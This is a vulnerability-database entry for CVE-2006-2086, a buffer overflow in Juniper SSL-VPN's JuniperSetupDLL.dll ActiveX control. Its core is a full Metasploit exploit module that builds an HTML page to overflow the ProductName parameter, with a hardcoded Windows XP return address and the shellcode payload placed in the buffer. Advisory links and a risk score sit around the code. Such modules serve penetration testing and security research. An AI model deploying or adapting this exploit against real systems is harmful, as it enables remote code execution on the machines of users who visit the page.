Juniper SSL-VPN IVE JuniperSetupDLL.dll ActiveX Control Buffer Overflow

🗓️ 30 Jul 2009 15:47:23Reported by aushack <[email protected]>Type

Juniper SSL-VPN IVE JuniperSetupDLL.dll ActiveX Control Buffer Overflo

Reporter	Title	Published	Views	Family All 9
Circl	CVE-2006-2086	9 May 201000:00	–	circl
Check Point Advisories	Juniper Networks IVE ActiveX Control Buffer Overflow (CVE-2006-2086)	1 Nov 201100:00	–	checkpoint_advisories
CVE	CVE-2006-2086	29 Apr 200610:00	–	cve
Cvelist	CVE-2006-2086	29 Apr 200610:00	–	cvelist
Exploit DB	Juniper SSL-VPN IVE - 'JuniperSetupDLL.dll' ActiveX Control Buffer Overflow (Metasploit)	9 May 201000:00	–	exploitdb
NVD	CVE-2006-2086	29 Apr 200610:02	–	nvd
Packet Storm	Juniper SSL-VPN IVE JuniperSetupDLL.dll ActiveX Control Buffer Overflow	26 Nov 200900:00	–	packetstorm
Prion	Buffer overflow	29 Apr 200610:02	–	prion
CERT	Juniper Networks IVE client ActiveX control buffer overflow	4 May 200600:00	–	cert

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Juniper SSL-VPN IVE JuniperSetupDLL.dll ActiveX Control Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in the JuniperSetupDLL.dll
        library which is called by the JuniperSetup.ocx ActiveX	control,
        as part of the Juniper SSL-VPN (IVE) appliance. By specifying an
        overly long string to the ProductName object parameter, the stack
        is overwritten.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 'aushack',
      'References'     =>
        [
          [ 'CVE', '2006-2086' ],
          [ 'OSVDB', '25001' ],
          [ 'BID', '17712' ],
          [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-04/0743.html' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'		=>
        {
          'Space'		=> 1024,
          'BadChars'	=> "\x00\x0a\x0d\x20<>()\"\\\';@\#\%\`",
          'StackAdjustment' => -3500,
        },
      'Platform'		=> 'win',
      'Targets'		=>
        [
          [ 'Windows XP Pro SP3 English',	{ 'Ret' => 0x77ae7f99 } ],# crypt32.dll jmp esp
          [ 'Debugging',			{ 'Ret' => 0x44434241 } ],
        ],
      'DisclosureDate' => '2006-04-26',
      'DefaultTarget' => 0))
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize
    vname = rand_text_alpha(rand(100) + 1)

    # Build the exploit buffer
    sploit = rand_text_alpha(2200)
    sploit[220, 4] = [target['Ret']].pack('V')
    sploit[240, payload.encoded.length] = payload.encoded

    # Build out the message
    content = %Q|
      <html>
      <object classid="CLSID:E5F5D008-DD2C-4D32-977D-1A0ADF03058B" id="#{vname}">
      <PARAM NAME="ProductName" VALUE="#{sploit}">
      </object>
      <script language="javascript">
      #{vname}.startSession();
      </script>
      </html>
      |

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end

02 Oct 2020 20:00Current

7.4High risk

Vulners AI Score7.4

CVSS 27.5

EPSS0.67312